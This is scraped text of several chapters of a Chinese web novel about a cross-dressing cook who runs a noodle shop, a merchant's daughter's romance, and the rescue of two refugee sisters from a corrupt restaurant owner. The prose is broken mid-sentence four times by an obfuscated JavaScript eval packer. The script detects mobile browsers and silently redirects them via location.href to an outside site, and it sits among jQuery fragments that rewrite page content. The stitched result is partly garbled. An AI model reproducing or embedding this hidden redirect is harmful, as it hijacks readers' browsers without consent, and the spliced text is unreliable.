;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405583|184444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 另一边，尚怀真把灶台清洗干净，食材准备好后，就开始将烙好的白吉馍摆出，卤肉倒在汤碗里，看着围观群众发亮的眼睛，自卖自夸道：“多谢各位捧场，今日我家面馆上新的菜品名为肉夹馍，其易携耐饿，一个入口鲜掉眉，两个下肚饱天明。更有此街独香的卤肉面，好吃不贵，今明两日优惠大酬宾，数量有限，先到先得！” 闻到肉香的人们实在不想再捂住袋里的钱了，一窝蜂似的纷纷涌去尚广明那边，把钱往桌上爽快一拍，生起的风吹落了柜台上的好几张纸。 前头买到肉夹馍的人，捧着还烫手的油纸，只心急地吹了两口气，都还未去取齐餐品，就一口咬了上去。口腔中鲜香的味道直接盖过了烫口的麻意，让他直呼：“好吃！好吃！太好吃了！” 一边嚼着，一边还回头看了一眼离自己不远的灶台，大声问被众人遮挡住的尚广明：“掌柜的，我才买完出来不久，还可以直接再买两个吗？” 排队中的男女老少都快被他的吃相馋哭了，听此，一同倒“嘘！”了一声，让他乖乖去重新排队，别提前把自己原本能买到的那份都买去了。 问话的人撇了撇嘴，往前到尚怀真那里领了一碗素面后，适才还有些失望的心情又立马被美味征服，见着空位就坐下来大快朵颐起来了。 “爹爹，娘亲，您们在这儿坐一会，看看要吃些什么，这顿女儿请客啦！我先下去买几个肉夹馍上来。”永兴面馆斜对面的品珍阁里，薛秋华今日穿了件浅黄色的圆领袄衣，此时正趴在雅间里的窗台上，好奇且倾慕地看着楼下尚怀真忙碌的身影。 得到了薛父的同意后，她欢呼了一声，直接无视了薛母那不太好看的脸色，急急忙跑了下去。 “怀真哥！”等了一会，见尚怀真终于停下来在一旁歇息饮水，她赶忙走上去打了声招呼。 “秋华，你来啦，我还打算晚些时候打烊了再过去找你呢，你稍等一会，我进去拿专门给你们做的那份肉夹馍。”尚怀真擦了擦汗，见到今日更显俏皮的薛秋华，笑道。 “哇！专门给我做的吗？谢谢怀真哥！”薛秋华很自然而然地忽略了“们”字，心里的粉红泡泡冒个不停。 “哟，少掌柜，这是你的小娘子吗？居然还能提前预定你家的肉夹馍。”坐在尚怀真旁边桌上吃饼的一个年轻男子见到这一幕，揶揄笑道。 “还没有啦！讨厌啦！”薛秋华听到，捂着发烫的脸，嘴上说着讨厌，眼中却满是甜蜜笑意。 “吃都堵不住你的嘴！”尚怀真心里骂了一句，脸上保持着职业性微笑，回答道：“这是瑞盈肉斋掌柜家的三小姐，我家卤肉的材料都是她们家帮衬的。” 年轻男子了然地点点头，客套地问了两句自己也给他们家供材的话，是否也能有此待遇，得到肯定回答后又继续埋头服侍他的五脏庙了。 过了一会，尚怀真把塞了满满登登肉的三个肉夹馍和一封自荐的信打包好，走出来正要交给薛秋华，只见那个小姑娘已经在上手给她做帮工了。 “孟奶奶，这太辛苦了，您到一旁休息一会，秋华来帮您吧。”薛秋华扶着孟奶奶到柜台后坐下，对着刚走出来的尚怀真甜甜一笑。 8. 少女芳心 天色渐晚，城南街街尾的薛宅里，薛秋华跪在后院的厅堂中泪流满面。 “难道这肉夹馍不好吃吗？难道这肉夹馍不是怀真哥做的吗？”面对着气得满面通红的薛母，她依旧不服气地梗着脖子控诉道。 “你！你真的是想气死为娘吗！”薛母虽然很想承认那肉夹馍真的很美味，现在提起这三个字来都还会口舌生津，但看到自家女儿那被晒黑的脸，就气不打一处来，哪有好人家的姑娘会这般不顾身份地去倒贴一个穷小子的？ “我帮孟奶奶有错吗？尊老爱幼不是您们从小就教导我的吗？”薛秋华理直气壮地顶撞道。 “人家那是在做自家营生！儿子孙子都在身边，用得着你帮忙吗？怎么别人不去帮，就你贴着上去？”薛母拿着藤条，捂着不断起伏的胸口，这一刻真的想把这个偷换概念的傻女儿扔出去。 “那我心悦怀真哥嘛！您为何一定要阻止我和他往来？”薛秋华撅着嘴，委屈地低下头，泪水掉得更凶了。 薛母气得有些发晕，看着那决堤似的小珍珠又有点心疼，坐下喝了口热茶后缓了缓情绪，才语重心长地继续道：“翠翠，你年纪不小了，明年都可以嫁人了。爹娘也不要求你去学习女诫女论那些别人家姑娘待嫁闺中时要熟记的规训，但你现在这般抛头露面，整日里对着一个男子投怀送抱，你往后怎么嫁得出去呢，嫁去后夫家知道了这档子往事又会如何待你呢？你自己想过没有。” 薛秋华听娘亲的语气缓和了下来，擦掉眼泪，抬头瞅了一眼，认真地说：“那怀真哥就很适合我呀！我下嫁到他们家既不用守一堆高门大户的规矩，也不用看婆母的眼色，还能常常回娘家来找您和爹爹，多好呀！” 薛母被她这番天真的言论气笑了，努力压制住了心头不断窜起的火苗，尽量温和地道：“你从小就锦衣玉食，即使及不上大户人家那般富贵奢华，但也是不愁吃穿，娇养着长大的，至今十指不沾阳春水。且不说尚小公子是否有能力发家致富，他爹瘸祖母亦老，面对着如此家境，纵有再多心思也不能全然顾着你，你嫁过去后定然是要为他们家洗手作羹汤的啊。哪日真让日子好起来了，你也熬得人老珠黄了，他有能力再去娶娇柔貌美的年轻妻子，你觉得面对着那些莺莺燕燕，形容枯槁的你还能抓住他的心吗？” 被唬得说不出话来的薛秋华，沉思了片刻，还是嘴硬地小声反驳道：“其他公子哥身边也会有莺莺燕燕呀，怀真哥也未必会变心的。” 见女儿似乎能听进去了，薛母叹了口气，把她扶起，小心地擦掉她红肿双眼下还挂着的泪，道：“男人可以三妻四妾的特权于我们女子本就不利，我们但求能与夫郎举案齐眉，过得安稳舒心些便是上上签了。挑个家世好的郎君，至少下有丫鬟婆子服侍，不用你去操心每日的浆洗琐事；上有一官半职的公婆管教着，为了事业名声，也不会让家中子弟干出出格的事来。咱做父母的都是为了你好，只盼你可以高枕无忧、舒服平安地过完这辈子，而不是因嫁人后导致辛劳半生。” 薛秋华闻言，推开娘亲给自己擦泪的手，撇过头去，愤愤然地说：“您们总是说这是为我好，那也为我好，但是有谁问过我心里真正的想法吗？怀真哥如今的确是一穷二白，但他现在这么努力，以后一定还会这般贫困吗？家世好的郎君不思进取的话，就一定能给我带来好日子吗？为何连未来夫君我都不可以自己选择？为何总要用您们的看法来决定我的人生呢！” 一连串的反问把薛母砸得头昏脑涨，她无奈又痛心地看了那个倔强的背影一眼，起身擦拭着眼角的泪就出去了。 薛秋华看着那个因抽泣而摇摇晃晃，差点被门栏绊倒的身影，心里有些愧疚，觉得自己这次是真的伤了娘亲的心了，然而又害怕一旦心软妥协，就要被塞上嫁予不爱之人的喜轿，故而抿了抿唇，闭着眼没说话。 坐在门外风雨游廊上旁听的薛父见妻子低泣着从厅堂里走了出来，安抚了好几句，让她先去沐浴后用过晚膳就早些歇息，便走了进去。 “翠翠。” “爹爹……”薛秋华见到来人，瘪着嘴，扑到他的怀里大哭起来。 薛父轻拍着她的背，过了良久，见她情绪终于平复了下来，才道：“不要怪你娘，她是太过心疼你，怕你涉世不深被欺负了去，只是有些心急罢。” 薛秋华点点头，声音还有一些沙哑，问道：“爹爹你也不中意怀真哥吗？” 薛父摇了摇头，微笑道：“不，他是一个很有胆量和想法的少年郎。你饿了吧？爹让管家安排几个菜过来，你先看过尚小公子的这封信，一会爹再问你几个问题。” 说罢，他从袖中拿出尚怀真的那封自荐信递给薛秋华。 来回翻看了两遍，薛秋华见这封信里的内容和自己没什么关系，不解地问道：“怀真哥想和爹爹您合作，我并不懂生意上的这些事，爹爹您想问我什么？” “咱们边吃边聊。”薛父笑了笑，往对面小丫头的碗里夹了一块她爱吃的狮子头，道：“爹且问你，你为何心悦尚小公子？” “怀真哥他长得好看呀！而且人也温柔，从来都不会和别的臭小孩一起欺负我们姑娘家。”薛秋华喜滋滋地吃着爹爹夹过来的肉，不假思索地回答道。 “你觉得爹爹可以与他合作吗？” “当然，他今天做的那个肉夹馍多好吃呀！阳春面也很香呢，看那长长的队伍，连点菜取餐的方式都那么独特。且不说色香味俱全，这般别具一格的经营方式，也总能引来好奇的客人的，生意肯定不会差的！”薛秋华回想起今日那肉香四溢的口感，只觉眼前的菜肴都瞬间索然无味了。 薛父点点头，倒是有些认可，又问：“我见信中他只字未提与你的交情，你可曾有跟他表达过你的心意？” 薛秋华的脸腾地红了起来，害羞道：“我有给怀真哥送过东西，不晓得他能不能明白我的心意，爹爹为何问这个？” “他这封信言辞犀利，所言目标远大且明确，并不像是会专注儿女情长之人。这两次你们的相处爹爹我也有仔细留意，并不见他眼里有对你的欣赏与眷恋，你觉得他也会同样心悦于你吗？”薛父见薛秋华吃好了，让人撤走了碗碟，神情温和却语带严肃地问道。 “我……久处生情，只要我多去给怀真哥帮忙，或许他就会明白我的心意了。”薛秋华一时无言，思索了许久才答道。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405584|184444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “傻丫头，像这种有野心的男子，他们需要的从来都是能给自己前途提供帮助的妻子。你想追求的真情，实际上都是价值互换，是靠自身实力吸引得来的，而不是用自贬身价的方式去妄图捆绑。” 见薛秋华听得愣住了，薛父又继续道：“这封信你看了，帮厨今日也做了，你觉得自己有哪方面的优势可以吸引到他呢？” “我……爹……”薛秋华欲言又止，低着头说不上话来。 “爹爹不是特意想打击你，咱家在这片街市财力数一数二，且目前尚小公子又想与我们合作，定然会十分看重你。共苦容易，同甘难，到他富甲一方那天，你还要凭借什么来与他白头偕老呢，凭他的良心？” 薛秋华有些不满，底气不足地道：“爹爹，您们怎么都要把人与人之间的感情说得这般势利？” “除了血缘至亲，没有人会无缘无故对你好，况爹爹也感觉不到尚小公子对你的爱意，难道给他帮两天忙他就会心悦于你吗？除非你身上能有让他爱慕你的地方呀，傻姑娘。”薛父好笑地摸了摸闺女的头，看着她噘着嘴思考，一副不服气的样子，觉得有些可爱，也不晓得这性子是随了谁。 薛秋华点了点头，虚心问道：“就是爹爹您常说的，要自己立得住，才能得到他人的尊重的意思对吧。女儿我确实很想和怀真哥在一起，我应该要怎么做呢？” 薛父有些哭笑不得，这妮子看来真的是不撞南墙都不会心死了，他只好正了正色道：“首先，你必须要有一项能养活自己的本领，前提这是属于你自己的事业而非东拼西凑的散工。其次，你要让尚小公子心甘情愿地亲自上门提亲，并在全家人面前保证你永远是他的正妻；另外，两年后，咱们江南数地的名厨会齐聚洋塘道的都城宁水，参加厨王争霸的海选赛，爹爹需要他成功通过海选后方能娶你。” “厨王争霸？”薛秋华好奇道。 “是的，当今好口腹之欲，时常派人遍寻四方美食，登位后不久便着人安排举办了每三年一次的厨王争霸大赛，以在民间选拔御厨进宫，时刻为其烹制珍馐美馔，使能于宫中遍尝天下。”薛父点了点头，说：“离州虽大，这些年来却不曾有一人能脱颖而出，更遑论我们湖山县少有善烹调之人了，如今一见，尚小公子或可一试。” 说完，他话锋一转，又道：“爹爹只给你三年时间，但凡有一个条件没达成，你就乖乖地听从你娘和祖母的安排，安心嫁人生子。” “好的，我答应您，我和怀真哥都一定可以做到的！那娘亲那边？”薛秋华思量了一会，自信地应下了这些要求，走到薛父身后给他捏肩捶背。 薛父不置可否地笑了笑，一边指挥着她的小手，一边道：“为父既然能答应你，你就放手去做你想做的事吧，你娘她们那边，爹都会帮你处理好的。” 薛秋华听此，高兴地绕着爹爹蹦蹦跳跳，突然想到什么，坐下来托着下巴好奇地问：“爹爹您真好！您不会觉得我这样是离经叛道吗？” 薛父看着她，眼神却好似透过她在看向不存在的人，笑容中不知为何竟带着一丝迷茫与自嘲，只答了一句： “女子本就不该被囚于深闺。” 9. 漪福楼（一） 借着阳春面和肉夹馍的风头，尚怀真又顺带上线了卤肉饭和卤鸡蛋。三天的促销活动结束，摸着腰间鼓鼓囊囊的荷包，虽因薄利多销，算下来的收入并不算多，但也可以说是赚到了她来这个时代后的第一桶金了。 鉴于自己那小胳膊小腿因短时间内高强度的抡锅勺运动，已经不可遏止地出现了肌肉形态，以及被新客们埋冤座位太少的负面评价越来越多，她决定先歇业一天，去把基础设施完善一下。 找王婆打听了一下手艺出色的老木工，设计好了logo后，因物小难雕，仅定制了一批餐牌，讨价还价让送了两套桌椅后，辛辛苦苦赚来的一贯钱就已经去掉大半了。 这钱真不经花！尚怀真吐槽了一下，在邑阳街上晃悠着，嘴里啃着一串糖葫芦，跟不少认出她来的人打招呼，思索着接下来的路该怎么走。 既然要做，那就做到最好！ 她不想迫于压力而随便把永兴客栈打理一番就算了，生意是细水长流的，除了出品外，品牌效应的作用也很重要。能让人们需要时就下意识想起来的产业，才能永垂不朽。 所以，考虑到未来，尚怀真想将永兴客栈打造成现代的民宿模式，上方是住宿的旅馆，中层为娱乐场所，下面则是食堂，然后再开辟个小院子作为露营烧烤基地，全方位地吸引不同需求的顾客，自己再用美食抓牢他们的味蕾，把面馆的名气打出去！ 但新奇的事物一开始总是难以让人接受的，肉夹馍能成功很大程度上依托了现在已经存在的饼卷肉的吃法。 先得保证人流才能让看不见的成本回流。她今天出来，除了要购置一些经营物件外，真正的目的是想参考一下这座城市相对红火的客栈与餐馆背后的运营模式以及装修布置。 然而想是这么想，自己的双腿还是抵不过女人的天性。逛了一堆商铺后，她的手里就多了一些棉布麻鞋，腰间还别着一捆零食。 “看来以前条件过得去的时候大手大脚，现在这么穷了还是存不下钱啊。”尚怀真摸了摸那个差不多只瘪剩一块布的荷包，无奈地嫌弃着自己。 下定决心不再花钱后，穿过邑阳街，来到西边的宝西街，途经一间名为“漪福楼”的酒楼，只见其上建有五层，每层都挂有灯笼，虽然不同楼层的灯笼颜色不一样，但却搭配得十分清新协调，将附近的商铺都映衬得黯然失色。 这会，饭点未至，就已经有许多衣袂飘飘的风流才子在倚栏畅饮了。 然而尚怀真却没心情去看这些帅哥，因为八卦的她一个眼尖就钻进了围在漪福楼门前的人群里。 只见一个衣衫褴褛的年轻女子，抱着一个小女孩，跪在大腹便便的中年男子面前，低着头浑身颤栗，看不清样子，也看不见表情。 “如何？选择权已经给你了。”中年男子坐在楠木交椅上，接过下人递来的茶盏，刮着杯沿，漫不经心地看着跪在地上的两人说道。 见他如斯做派，便知身份不俗。 尚怀真不明就里，拍了拍身边一个同样八卦的男子的肩膀，问道：“小哥，我刚来，这是发生啥事了？” 被尚怀真叫住的男子见中年男子身后的侍从们没有留意自己这边，对着她小声道：“坐在那里的是漪福楼的东家，彭福生，久闻其名，今日我也是第一次见到他。跪在那里的不知是从何处来的流民，入冬后混进咱湖山县，在漪福楼的后厨里做帮工。昨夜那姑娘的妹子添茶时，偷偷窃取了一桌食客的鸡腿吃，恰巧那鸡腿是咱们县令特地从涟州托人运来，款待上面下来巡查的吏部侍郎与大理寺少卿用的涟香鸡。得知此事，县令震怒，便让东家私下里将这两人处置了。” 说罢，他又看了四周几眼，把声音压得更低，说：“我听他们厨里的知情人说，这姑娘容貌姣好，漪福楼的东家说只要她愿意做他的暖床婢，他就可以放她们一马，还给她们姐妹俩带去富贵荣华。现在看这情形，估摸着是那姑娘不愿意罢。” “沃趣！”尚怀真听完，震惊地骂了一声。只是因为没有身份和钱财，就要被有权势之人这般凌辱，也太欺负人了吧！ 刚想再问两句，就听到那个跪着的女子开口了：“奴虽贱，不可辱。谢过东家曾经收留，是杀是刮，悉听尊便。” 彭福生还没开口，他身旁递茶的那个尖嘴猴腮的下人就上去打了女子一巴掌，说：“东家能看上你是你的福气，你合该感恩戴德，竟敢在这当众顶撞！” 这一巴掌，打在女子脸上，也好像扇在了围观群众的脸上。 有一些人开始为女子打抱不平了：“喂！你这也太过分了吧！” “就是就是，她一个弱女子，又不是犯了天大的错，也太欺辱人了吧！”…… 尖嘴猴腮男半点不理会这些指责他的声音，凶神恶煞地说：“她俩这种连身份文书都没有的流民，与牲畜无异，我们想怎样就怎样，你们再在这里逞英雄，一会连你们也吃不了兜着走！” 众人虽知他是狐假虎威，但没有主人的许可，家犬哪敢乱吠，迫于彭福生的势力以及他与县令的关系，都不敢再说话了，有个别怒容满面的还被身边人拉住。 坐在交椅上的彭福生放下杯盏，又看了一眼跪着的女子，对尖嘴猴腮男说道：“二茅子，这里你给我处理好了，别把我的地盘搞得乌烟瘴气。”便起身在两个美人的搀扶下走进了漪福楼。 “好咧！大当家慢走。”二茅子头如捣蒜，一脸谄媚地送走了彭福生，转脸趾高气昂地骂退了围观群众，吩咐身后的两个壮汉将姐妹俩拖去城外处置掉，也屁颠屁颠地跟着进去了。 围观群众们见没有热闹可看了，只在心里提前替女子哀悼了两秒，便纷纷长吁短叹地散了。这不过是可以供他们在茶余饭后闲聊时的谈资罢了，于他们的生活并没有影响，每天都有不同的惨事发生，更没必要付出身家性命去相帮。 然而等众人散去后，还站在一旁，实际上同样是黑户的尚怀真并不这样想。 她悄悄跟了上去，只见两个壮汉并没有往城门的方向走，而是将姐妹俩带到市集，走进一条偏僻无人的小巷。 “不好，这俩天杀的是想做那种肮脏事！”尚怀真心下警铃大作，直接冲了进去，也不知是什么在驱使着她，让她一个直拳挥向了其中一个壮汉的后脑勺。 “啊！是哪个臭崽子……”壮汉还没说完，刚回过头来，就又挨了一记上勾拳，被直挺挺地放倒了。 “嘭！”一声，尘埃大作，看着倒在地上不省人事的壮汉，尚怀真懵了，她突然联想到那封拿起笔后，手自动就会写毛笔字的信，不知道身体里为什么会有这种能量。 “小公子，当心！” 还在胡思乱想之际，只觉耳旁生风，下意识地做好要被挨揍的格挡准备，挥向自己的拳头却瞬间不见了，又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405585|184444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是“嘭！”的一声，不远处传来一个声音： “打斗的时候发愣，怀真弟，你好生粗心。为兄先去买些物什，一会再来找你。” 尚怀真抬头看向声源处，只见一枚白色的衣角转瞬即逝。 复又看向地上的两个壮汉，探了探他们的鼻息，见还没死，松了一口气，本着“李三光”原则，将他们身上的钱袋子和金银首饰等全都摘了下来，递给缩在角落里的姐妹，笑道： “这种恶徒，就当是帮他们解囊资贫，以积福报减少罪孽了。你们拿这个钱去置换身衣裳，乔装打扮一下，逃去别处好好生活吧。” 年轻女子推拒了递过来的钱袋子，拉着一直盯着尚怀真看的妹妹匍匐在地，磕头道谢：“多谢恩公相救，敢问恩公尊姓大名，小女子定当肝脑相报。” 尚怀真哪曾受过如此大礼，赶紧把她们扶起来，硬把钱袋子塞进小女孩的手里，道：“不用这般客气，举手之劳罢了，只要是人，看见了都会帮你们的。” 年轻女子凄然一笑，还是给尚怀真完整地施了个礼，道：“如若真是这般，我姐妹二人也不至于今日命悬一线了，也就恩公您侠肝义胆，愿意相助，映玉感激不尽。” 今日的围观群众们确实冷漠至极，尚怀真不知道该如何安慰好了，只得再次把她们扶起，说：“大难不死，必有后福，往后的日子都会好起来的。将至晌午，你们快去用膳吧。” 映玉见恩公准备要走了，扯住她的袖子又扑通跪下，先前倔强的眼中此刻含泪，恳切问道：“恩公，请问您家还需要下人吗？小女子浆洗洒扫诸事不赖，主家吩咐毫无怨言，只望恩公您可以给小妹一个容身之所，我们可以不要工钱，但求两餐温饱。流民现今人人避如蛇蝎，我们两个小女子真的走投无路了，望恩公成全。” 尚怀真看着她又跪下了，真有些头疼，怪不得刚刚说肝脑相报的时候不带“日后”呢，原来现在就在等着自己了。 她语气不禁带着些不耐，说：“你想让我好好听你说话的话，就不要一言不合给我跪下，我还想多活两年呢！” 见女子愣住了，她叹了一口气，又道：“我知你不易，但你看看我身上这一身补丁，像是富裕的人吗？跟着我也同样是饥一顿饱一顿。” “啧啧，怀真弟，我说你怎么在这里耽搁了这么久，原来你还真不懂怜香惜玉啊。你家面馆现今蒸蒸日上，怎的说出这般不自信的话？她们又言只要你管温饱就行，恰缺人手，你就答应了呗。”李修阙不知何时出现在了尚怀真身旁，揶揄地用手肘顶了顶她。 尚怀真翻了个白眼，毫不客气地拿掉他搭在自己肩膀上的手，说：“哪哪都能有你，说得这么容易，你怎么不答应她们？” “哈哈！”李修阙大笑了几声，俏皮地朝她眨了眨眼，狡黠道：“我这不是替你答应了吗？” “你！”尚怀真扶额，另一手盖住他那正在释放魅力的眼睛，心里大喊：“有没有人可以帮我治治他啊！” 映玉反应了过来，连忙保证道：“是的，只求温饱，恩公我们不会给您添麻烦的。” 闻言，李修阙这才认真打量了两人一眼，见确实柔弱无害，面无表情道：“赶紧去收拾一下吧，如果你们敢随我们再踏漪福楼，我就帮你们说服我兄弟。” 随后又搂着尚怀真的肩，笑说：“走吧，为兄今夜带你去漪福楼用饭！” 10. 漪福楼（二） “嗯，不行不行，还是没你做的好吃。” 陪姐妹俩置办了一身行头，随便找了一家规模不大却干净整洁的客栈点了两笼包子面条，让她俩先去沐浴更衣。 尚怀真看着一边狼吞虎咽，一边还要嫌弃店家的面做得没自己好吃的李修阙，略带指责地道：“你干嘛要让我收留她两姐妹，我家一家三口都才勉强温饱呢。” 李修阙看了看只有零星几个人的店厅，压低声音道：“据我所知，这姐妹俩被赶出来的原因表面是妹妹偷吃了涟香鸡，姐姐不肯做侍婢，实际上是漪福楼从厨王争霸过了海选的人中高薪聘请来的一位主厨，见姐姐做得一手好菜，妹妹又调得一手好酱料，怕被抢了位子，失了名声，故而得知大人物将临，有意使派妹妹去窃取鸡腿的。只恰她们身份低微，便百口莫辩了。” “不是吧？这都是些什么黑心人啊，连个酒楼里都要搞办公室政治。”尚怀真气愤拍桌，引来了邻桌的注目，立马不好意思地对他们笑了笑，低下头吃面。 “办公室政治？” “勾心斗角的意思。所以你是可怜她们？”尚怀真懒得详细解释这现代用语了，不想收留两姐妹的心有些动摇。 “世间可怜人处处有，我哪里可怜得过来。”李修阙好笑地弹了一下她的额头，又道：“恰巧见你家面馆今日歇业，又碰着这档子事，我就想着，她俩一手厨艺既然能威胁到漪福楼的主厨，那定然是不错的，有她们的帮忙，你就能忙里偷闲去倒腾出更多好吃的菜色了。” 尚怀真哭笑不得，把自己吃不下的包子推过去，道：“你这贪吃的嘴是真闲不下来啊。” 李修阙欣然地拿起她笼中的包子，难得正色道：“你既救了她们，她们定会为你卖心卖力，且不用给工钱，适才灰头土脸的没看清，但长相应该也是不错的，或许还挺招财。女子本不易，你能帮则帮呗，这事又让你担了个好名声，对你百利而无一害，何乐而不为。” 听到身后响起几不可闻的倒吸冷气声，他坐过去尚怀真那边，笼着手在她耳边说：“况你祖母身体不大爽利，你家也确实需要个女人照顾一二了。” “离！我！远！点！”尚怀真面色不佳，一掌把他的脸推开，咬牙切齿地蹦出这几个字。 还没问厨王争霸是什么比赛，只见刚刚去梳洗的两姐妹走了下来。 映玉身穿一袭夹青牙色对襟窄袖襦，长裙曳地，外罩裁切过的翻领披袄，映得她本就巴掌大的脸庞更显小巧，盈盈一握的腰身摇曳生姿，虽未施粉黛，却能将这一身过时陈旧的面料衬托得珠光宝气。 美女总是更钟爱欣赏美女，这不，不仅是周围的食客，连尚怀真都看呆了。 “恩公，让您们久等了。”映玉福了福身，侍立一旁。 “咳，你们姐妹俩很美。不要光站着了，看看想要吃些什么。”尚怀真回过神来，脸红了一下，尴尬地揉了揉鼻子，真心地夸赞了一句，让她们赶紧坐下，把店小二叫了过来。 “但凭恩公做主。”映玉觑了一眼早已坐下的妹妹，恭敬地回答道。 脸上稚气未脱，穿着粉裙的妹妹下巴撑在桌子上，捂着咕噜直叫的肚子，委屈巴巴地看着映玉，撒娇道：“阿姐，瑶瑶饿。” 尚怀真笑了笑，随便点了三个菜，对她们说：“以后不必如此拘谨，你们也别叫我恩公、东家什么的，我们之间直呼名字就可以了，你们是我请的堂倌，而不是我家的下人，没有尊卑之分。” 三个人听到这番言论，都齐齐惊讶地看着她，映玉和李修阙眼中淌过无法捕捉住的不明波动。 “怎么了，不可以吗？还是我脸上有东西？”尚怀真被盯得不明所以，摸了摸自己的脸，感觉挺光滑的呀。 李修阙率先“噗呲”笑出声，道：“适才还犹豫呢，这会见着美人了，就立马答应了，一会还要去漪福楼吗？” 尚怀真见映玉脸上渐渐爬起羞色，瞪了李修阙一眼，道：“去，必须去！不狠狠宰你一顿我就不姓尚！” - 酉时，天色未暗，宝西街的漪福楼里，早已高朋满座。 坐在二楼的雅间内，尚怀真看着大堂里觥筹交错的场面，羡慕地向刚摘下头纱的林映玉问道：“这漪福楼一直都这般门庭若市吗？” 林映玉点点头，说：“我在这里当帮厨的时候，每日里都是座无虚席，李公子能抢订得这土字号雅间，也定是财力不俗之人。” 尚怀真拿起一块桌上盒子里的饭前甜点，咬了一口，确实甜而不腻、软糯弹牙，味道比街市上卖的点心好上许多。 她探究地看了一眼倚在围栏上，漫不经心喝着茶，看着下方舞台的李修阙，又问：“订雅间还要验资？” 林映玉拿了一块手帕递给吃得满嘴碎渣的妹妹，答道：“是的，这五层由上往下各自命名为金木水火土，每一层都需要达到相应的资产水平方能预订，越往上资产需求越多。就连这盒点心，每一层也都不一样，我们土字层的为梅花酥，水字层的是玉露糕，其他几层的我没接触到，不太清楚，普通百姓就只能在大堂中看能否找到位置了。” “那每层需要多少资产？” 尚怀真问完，见林映玉抱歉地摇了摇头，让她先吃些点心垫垫肚子后，便走到凭栏处，随着李修阙的目光看了下去。 只见大堂中央，一个正红色的圆形舞台比四周的桌子略高出半个人的身量，台面洒着许多粉色花瓣，边上有一圈可倒水的酒槽，上挂红白相间的纱幔直通楼顶，被风吹起时，纱幔拂过雅间内的围栏，轻拍在凭栏远眺的人脸上，旖旎暧昧。 “怎么还会有个舞台？”尚怀真看着这一切，简直要化身成好奇宝宝了。 一个人干掉半盒梅花酥的林映瑶打了个饱嗝，见长姐方拿起一个在吃，就替她回答道：“每隔一旬或者有大人物光临的时候，就会有许多好看的姐姐们在上面抚琴跳舞，舞完了还要端着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405586|184444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 酒上四层五层去服侍那些大老爷们，先前有个姐姐还问我想不想学琴呢。” “？”尚怀真看着林映瑶初见姿色的眉眼，脸上的好奇僵住了。 这不就是黑白通吃的高级会所吗？能这么明目张胆地下事餐饮，上含擦边，确实是很有实力了。只是居然连这么小的孩子都不放过，太令人不齿了些。 “其实我挺想学的，那样就能挣好多好多钱，阿姐就不用为了我整日里挨骂，还把手泡坏了，娘亲也不会死了。不过阿姐不让我去学，我还是听阿姐的话的，可是阿姐真的好辛苦，这些年来，我从未见过她像今日这般瘦。瑶瑶只有阿姐了。” 吃了一天，林映瑶的肚子终于不饿了，话也变得多了起来，搭配那面无表情的脸，竟有些可爱的割裂感。 只是话中的内容，却让人酸了鼻子。 “瑶瑶不要再想这些了，阿姐不辛苦的，现在我们找到了好东家，往后日子会变好的。”林映玉揽住天真的林映瑶，轻抚着她的细发，心疼地安慰道。 尚怀真看着小姑娘坚强懵懂的模样，目带怜惜，重重地点了点头，自信地微笑道：“是的，日子会越来越好的，瑶瑶以后只要做个无忧无虑的小姑娘就好了。” 林映玉感激地看了尚怀真一眼，林映瑶靠在她怀中，睁着大眼睛，一瞬不瞬地盯着眼前这个浓眉大眼，对自己表达着善意的少年。 忽地，楼下“嘡啷”一响，一位慈眉善目的胖老头将手上的巨型金元宝递给手下，眉眼弯弯，用中气十足的声音高声道：“欢迎四方宾客莅临本店，今日特别邀请到泽云府镜花阁的头牌珠珠姑娘为大家助兴，祝大家今夜酒足饭饱、不醉不归！” 哗！胖老头说完后，底下众人瞬间沸腾。 “芙蓉不及美人妆，水殿风来珠翠香！今日漪福楼里定是有大人物，竟能把这镜花阁的姑娘请来。”一个坐在舞台最前排的清秀公子，把展开的折扇往手中一拍，双眼放光，与同座的友人说道。 坐他对面的公子哥端着酒杯朝他举了举，笑道：“为兄正是得知了这消息，才不辞辛苦来湖山县找你，听闻镜花阁的姑娘们此番会在你们湖山县小宿三日。” 